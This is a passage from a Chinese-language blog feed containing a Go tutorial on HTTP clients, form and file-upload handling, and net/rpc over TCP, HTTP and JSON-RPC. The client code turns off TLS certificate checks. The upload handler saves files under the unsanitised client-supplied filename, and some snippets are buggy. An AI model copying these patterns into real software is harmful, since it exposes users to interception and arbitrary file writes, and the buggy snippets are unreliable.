class="comment">// 处理器实现</span></span><br><span class="line">http.Handle(<span class="string">"/help"</span>, <span class="built_in">new</span>(Help))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 对addr地址进行监听，调用处理程序来处理请求</span></span><br><span class="line"><span class="comment">// 第一个参数为监听地址</span></span><br><span class="line"><span class="comment">// 第二个参数为服务端处理程序，一般为nil，表示使用 http.DefaultServeMux来处理</span></span><br><span class="line">http.ListenAndServe(addr, <span class="literal">nil</span>)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"crypto/tls"</span></span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"io"</span></span><br><span class="line"><span class="string">"net/http"</span></span><br><span class="line"><span class="string">"os"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"><span class="comment">// 模拟器客户端</span></span><br><span class="line"><span class="comment">// 实际是对http.NewRequst方法的封装</span></span><br><span class="line">response, err := http.Get(<span class="string">"http://www.baidu.com"</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line">fmt.Println(err)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line">fmt.Println(response.Proto)</span><br><span class="line">fmt.Println(response.StatusCode)</span><br><span class="line">io.Copy(os.Stdout, response.Body)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 自定义request请求方法（自定义提交对象）</span></span><br><span class="line">req, err := http.NewRequest(<span class="string">"GET"</span>, <span class="string">"http://www.baidu.com"</span>, <span class="literal">nil</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line">fmt.Println(err)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line"><span class="comment">// 请求需要client，使用http内建结构体</span></span><br><span class="line"><span class="comment">// 此处可以设置transport结构体，从而忽略不受信的https连接</span></span><br><span class="line">client := http.Client{</span><br><span class="line">Transport: &http.Transport{</span><br><span class="line">TLSClientConfig: &tls.Config{</span><br><span class="line">InsecureSkipVerify: <span class="literal">true</span>,</span><br><span class="line">},</span><br><span class="line">},</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 发起request请求</span></span><br><span class="line">response, err = client.Do(req)</span><br><span class="line">io.Copy(os.Stdout, response.Body)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>提交参数</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"encoding/json"</span></span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"io"</span></span><br><span class="line"><span class="string">"io/ioutil"</span></span><br><span class="line"><span class="string">"net/http"</span></span><br><span class="line"><span class="string">"os"</span></span><br><span class="line"><span class="string">"strings"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"></span><br><span class="line">http.HandleFunc(<span class="string">"/home"</span>, <span class="function"><span class="keyword">func</span><span class="params">(w http.ResponseWriter, r *http.Request)</span></span> {</span><br><span class="line">fmt.Println(strings.Repeat(<span class="string">"-"</span>, <span class="number">30</span>))</span><br><span class="line">fmt.Println(<span class="string">"请求头："</span>, r.Header)</span><br><span class="line">fmt.Println(<span class="string">"请求体："</span>, r.Body)</span><br><span class="line">fmt.Println(<span class="string">"请求方法："</span>, r.Method)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 1.提交数据方式</span></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">在URL中传递参数</span></span><br><span class="line"><span class="comment">url?arg1=agv1&arg2=agv2</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line">fmt.Println(<span class="string">"URL："</span>, r.URL)</span><br><span class="line"><span class="comment">// 解析参数</span></span><br><span class="line"><span class="comment">// form解析url和body中的参数</span></span><br><span class="line"><span class="comment">// r.Form解析出来的参数都是string类型</span></span><br><span class="line">r.ParseForm()</span><br><span class="line">fmt.Println(<span class="string">"Form: "</span>, r.Form)</span><br><span class="line">fmt.Println(r.Form.Get(<span class="string">"a"</span>)) <span class="comment">// 获取指定参数（如果是a=1&a=2，则只获取a=1，即只获取第一个）</span></span><br><span class="line">fmt.Println(r.Form[<span class="string">"a"</span>]) <span class="comment">// 直接使用[]获取，可以获得该参数所有值</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 2. 通过body提交数据</span></span><br><span class="line"><span class="comment">// curl -d "xxxxxxx"</span></span><br><span class="line"><span class="comment">// application/x-www-form-urlencoded a=b&c=d （通常用于PUT请求url传输数据）</span></span><br><span class="line"><span class="comment">// application/json</span></span><br><span class="line"><span class="comment">// multipart/form-data （通常用于POST请求提交form）</span></span><br><span class="line">fmt.Println(<span class="string">"postform"</span>, r.PostForm) <span class="comment">// postform只获取body中的参数</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 封装r.form</span></span><br><span class="line">r.FormValue(<span class="string">"x"</span>)</span><br><span class="line"><span class="comment">// 封装r.postform</span></span><br><span class="line">r.PostFormValue(<span class="string">"y"</span>)</span><br><span class="line"><span class="comment">// 封装r.multipartform.file</span></span><br><span class="line">r.FormFile(<span class="string">"z"</span>)</span><br><span class="line"></span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="comment">// 解析json</span></span><br><span class="line">http.HandleFunc(<span class="string">"/data/"</span>, <span class="function"><span class="keyword">func</span><span class="params">(w http.ResponseWriter, r *http.Request)</span></span> {</span><br><span class="line">io.Copy(os.Stdout, r.Body)</span><br><span class="line">ctx, _ := ioutil.ReadAll(r.Body)</span><br><span class="line">j := <span class="built_in">make</span>(<span class="keyword">map</span>[<span class="keyword">string</span>]<span class="keyword">interface</span>{})</span><br><span class="line"><span class="comment">// 将字符串[]byte转化为map</span></span><br><span class="line">json.Unmarshal(ctx, j)</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="comment">// 上传文件</span></span><br><span class="line">http.HandleFunc(<span class="string">"/file/"</span>, <span class="function"><span class="keyword">func</span><span class="params">(w http.ResponseWriter, r *http.Request)</span></span> {</span><br><span class="line"><span class="comment">// 设置文件上传大小限制，并解析Form</span></span><br><span class="line">r.ParseMultipartForm(<span class="number">1024</span> * <span class="number">1024</span>)</span><br><span class="line"><span class="comment">// body中可能有文件内容和k:v形式的内容</span></span><br><span class="line"><span class="comment">// File 为获取文件内容；Value为获取其他k:v内容</span></span><br><span class="line">fmt.Println(r.MultipartForm.File)</span><br><span class="line">fmt.Println(r.MultipartForm.Value)</span><br><span class="line"></span><br><span class="line"><span class="comment">// argsname表示url里对应的参数名，即"argsname=filename"</span></span><br><span class="line"><span class="comment">// 返回值是map[string][]*FileHeader</span></span><br><span class="line"><span class="keyword">if</span> fileHeaders, err := r.MultipartForm.File[<span class="string">"argsname"</span>]; err {</span><br><span class="line"><span class="keyword">for</span> _, fileHeader := <span class="keyword">range</span> fileHeaders {</span><br><span class="line"><span class="comment">//</span></span><br><span class="line">fmt.Println(fileHeader.Filename, fileHeader.Size)</span><br><span class="line"><span class="comment">// open返回值为file类型</span></span><br><span class="line">sfile, _ := fileHeader.Open()</span><br><span class="line">nfile, _ := os.Create(<span class="string">"./file/"</span> + fileHeader.Filename)</span><br><span class="line">io.Copy(nfile, sfile)</span><br><span class="line">sfile.Close()</span><br><span class="line">nfile.Close()</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line">http.ListenAndServe(<span class="string">":8888"</span>, <span class="literal">nil</span>)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="rpc"><a href="#rpc" class="headerlink" title="rpc"></a>rpc</h3><p>基于不同协议的rpc调用，只是处理数据方式不同。除此外，监听的方式一样。</p><h4 id="tcp"><a href="#tcp" class="headerlink" title="tcp"></a>tcp</h4><p>client</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"net/rpc"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 这两个结构体一般通信的结构体放在公共库内</span></span><br><span class="line"><span class="keyword">type</span> AddRequest <span class="keyword">struct</span> {</span><br><span class="line">Left <span class="keyword">int</span></span><br><span class="line">Right <span class="keyword">int</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> AddResponse <span class="keyword">struct</span> {</span><br><span class="line">Result <span class="keyword">int</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"><span class="comment">// 发起tcp连接</span></span><br><span class="line">client, _ := rpc.Dial(<span class="string">"tcp"</span>, <span class="string">":8888"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 初始化rpc用到的结构体</span></span><br><span class="line">req := AddRequest{<span class="number">2</span>, <span class="number">3</span>}</span><br><span class="line">resp := &AddResponse{}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 参数1：远程rpc注册的方法，以“结构体名.方法名”方式调用</span></span><br><span class="line"><span class="comment">// 参数2：req</span></span><br><span class="line"><span class="comment">// 参数3：resp</span></span><br><span class="line">err := client.Call(<span class="string">"Calc.Add"</span>, req, resp)</span><br><span class="line">fmt.Println(err, resp)</span><br><span class="line">client.Close()</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>server</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"net"</span></span><br><span class="line"><span class="string">"net/rpc"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> AddRequest <span class="keyword">struct</span> {</span><br><span class="line">Left <span class="keyword">int</span></span><br><span class="line">Right <span class="keyword">int</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> AddResponse <span class="keyword">struct</span> {</span><br><span class="line">Result <span class="keyword">int</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 定义rpc对象</span></span><br><span class="line"><span class="keyword">type</span> Calc <span class="keyword">struct</span>{}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 参数1：请求对象（指针/值）</span></span><br><span class="line"><span class="comment">// 参数2：响应对象（指针）因为需要传递出去</span></span><br><span class="line"><span class="comment">// 返回值：error</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(c *Calc)</span> <span class="title">Add</span><span class="params">(req AddRequest, resp *AddResponse)</span> <span class="title">error</span></span> {</span><br><span class="line">resp.Result = req.Left + req.Right</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// tcp方式监听服务</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"><span class="comment">// rpc 注册</span></span><br><span class="line">rpc.Register(&Calc{})</span><br><span class="line">listener, _ := net.Listen(<span class="string">"tcp"</span>, <span class="string">":8888"</span>)</span><br><span class="line">rpc.Accept(listener)</span><br><span class="line">listener.Close()</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="http-1"><a href="#http-1" class="headerlink" title="http"></a>http</h4><p>client</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"net/rpc"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> HttpRequest <span class="keyword">struct</span> {</span><br><span class="line">Left, Right <span class="keyword">int</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> HttpResponse <span class="keyword">struct</span> {</span><br><span class="line">Result <span class="keyword">int</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"><span class="comment">// 发起http连接</span></span><br><span class="line">client, _ := rpc.DialHTTP(<span class="string">"tcp"</span>, <span class="string">":8888"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 定义req和resp</span></span><br><span class="line">req := HttpRequest{Left: <span class="number">4</span>, Right: <span class="number">2</span>}</span><br><span class="line">resp := HttpResponse{}</span><br><span class="line">err := client.Call(<span class="string">"MyCalc.Add"</span>, req, &resp)</span><br><span class="line">fmt.Println(err, resp)</span><br><span class="line">err = client.Call(<span class="string">"MyCalc.Sub"</span>, req, &resp)</span><br><span class="line">fmt.Println(err, resp)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>server</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"net/http"</span></span><br><span class="line"><span class="string">"net/rpc"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> HttpRequest <span class="keyword">struct</span> {</span><br><span class="line">Left, Right <span class="keyword">int</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> HttpResponse <span class="keyword">struct</span> {</span><br><span class="line">Result <span class="keyword">int</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> MyCalc <span class="keyword">struct</span>{}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(c *MyCalc)</span> <span class="title">Add</span><span class="params">(req HttpRequest, resp *HttpResponse)</span> <span class="title">error</span></span> {</span><br><span class="line">resp.Result = req.Left + req.Right</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(c *MyCalc)</span> <span class="title">Sub</span><span class="params">(req HttpRequest, resp *HttpResponse)</span> <span class="title">error</span></span> {</span><br><span class="line">resp.Result = req.Left - req.Right</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// http方式监听服务</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"></span><br><span class="line"><span class="comment">// 注册</span></span><br><span class="line">rpc.Register(&MyCalc{})</span><br><span class="line"><span class="comment">// 相当于绑定url和处理器</span></span><br><span class="line">rpc.HandleHTTP()</span><br><span class="line"><span class="comment">// http起服务</span></span><br><span class="line">http.ListenAndServe(<span class="string">":8888"</span>, <span class="literal">nil</span>)</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="jsonrpc"><a href="#jsonrpc" class="headerlink" title="jsonrpc"></a>jsonrpc</h4><p>client</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"net/rpc/jsonrpc"</span></span><br><span class="line"><span class="string">"time"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> JsonRpcRequest <span class="keyword">struct</span> {</span><br><span class="line">Left, Right <span class="keyword">int</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">type</span> JsonRpcResponse <span class="keyword">struct</span> {</span><br><span class="line">Result <span class="keyword">int</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"><span class="comment">// jsonrpc连接</span></span><br><span class="line">client, _ := jsonrpc.Dial(<span class="string">"tcp"</span>, <span class="string">":8888"</span>)</span><br><span class="line"></span><br><span class="line">req := JsonRpcRequest{<span class="number">100</span>, <span class="number">2</span>}</span><br><span class="line">resp := JsonRpcResponse{}</span><br><span class="line"><span class="comment">// client.Call("JsonCalc.Add", req, &resp)</span></span><br><span class="line"><span class="comment">// 通过别名调用</span></span><br><span class="line"><span class="comment">// client.Call("jsonrpcadd.Add", req, &resp)</span></span><br><span class="line"><span class="comment">// fmt.Println(resp)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// rpc异步调用</span></span><br><span class="line">call := client.Go(<span class="string">"jsonrpcadd.Add"</span>, req, resp, <span class="literal">nil</span>)</span><br><span class="line"><span class="keyword">for</span> {</span><br><span class="line"><span class="keyword">select</span> {</span><br><span class="line"><span class="keyword">case</span> result := <-call.Done:</span><br><span class="line">fmt.Println(result.Reply, result.Error)</span><br><span class="line"><span class="keyword">default</span>:</span><br><span class="line">fmt.Println(time.Now())</span><br><span class="line">time.Sleep(<span class="number">2</span> * time.Second)</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>server</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"net"</span></span><br><span class="line"><span class="string">"net/rpc"</span></span><br><span class="line"><span class="string">"net/rpc/jsonrpc"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> JsonRpcRequest <span class="keyword">struct</span> {</span><br><span class="line">Left, Right <span class="keyword">int</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">type</span> JsonRpcResponse <span class="keyword">struct</span> {</span><br><span class="line">Result <span class="keyword">int</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> JsonCalc <span class="keyword">struct</span>{}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(j *JsonCalc)</span> <span class="title">Add</span><span class="params">(req JsonRpcRequest, resp *JsonRpcResponse)</span> <span class="title">error</span></span> {</span><br><span class="line">resp.Result = req.Left + req.Right</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(j *JsonCalc)</span> <span class="title">Sub</span><span class="params">(req JsonRpcRequest, resp *JsonRpcResponse)</span> <span class="title">error</span></span> {</span><br><span class="line">resp.Result = req.Left - req.Right</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"><span class="comment">// 注册</span></span><br><span class="line"><span class="comment">// rpc.Register(&JsonCalc{})</span></span><br><span class="line"><span class="comment">// 别名注册</span></span><br><span class="line">rpc.RegisterName(<span class="string">"jsonrpcadd"</span>, &JsonCalc{})</span><br><span class="line">listener, _ := net.Listen(<span class="string">"tcp"</span>, <span class="string">":8888"</span>)</span><br><span class="line"><span class="keyword">for</span> {</span><br><span class="line">conn, err := listener.Accept()</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">}</span><br><span class="line"> <span class="comment">// 启动例程处理连接</span></span><br><span class="line"><span class="keyword">go</span> jsonrpc.ServeConn(conn)</span><br><span class="line">}</span><br><span class="line">listener.Close()</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>主要记录学习遇到的库，以及基本用法，后续会不断更新与完善，以便查阅。</p>
</summary>
<category term="Go" scheme="http://yoursite.com/categories/Go/"/>
<category term="strings" scheme="http://yoursite.com/tags/strings/"/>
<category term="strconv" scheme="http://yoursite.com/tags/strconv/"/>
<category term="flag" scheme="http://yoursite.com/tags/flag/"/>
<category term="time" scheme="http://yoursite.com/tags/time/"/>
<category term="bufio" scheme="http://yoursite.com/tags/bufio/"/>
<category term="filepath" scheme="http://yoursite.com/tags/filepath/"/>
</entry>
<entry>
<title>常见IO模型分析</title>
<link href="http://yoursite.com/2020/10/17/%E5%B8%B8%E8%A7%81IO%E6%A8%A1%E5%9E%8B%E5%88%86%E6%9E%90/"/>
<id>http://yoursite.com/2020/10/17/%E5%B8%B8%E8%A7%81IO%E6%A8%A1%E5%9E%8B%E5%88%86%E6%9E%90/</id>
<published>2020-10-17T09:27:38.000Z</published>
<updated>2020-10-17T09:41:49.591Z</updated>
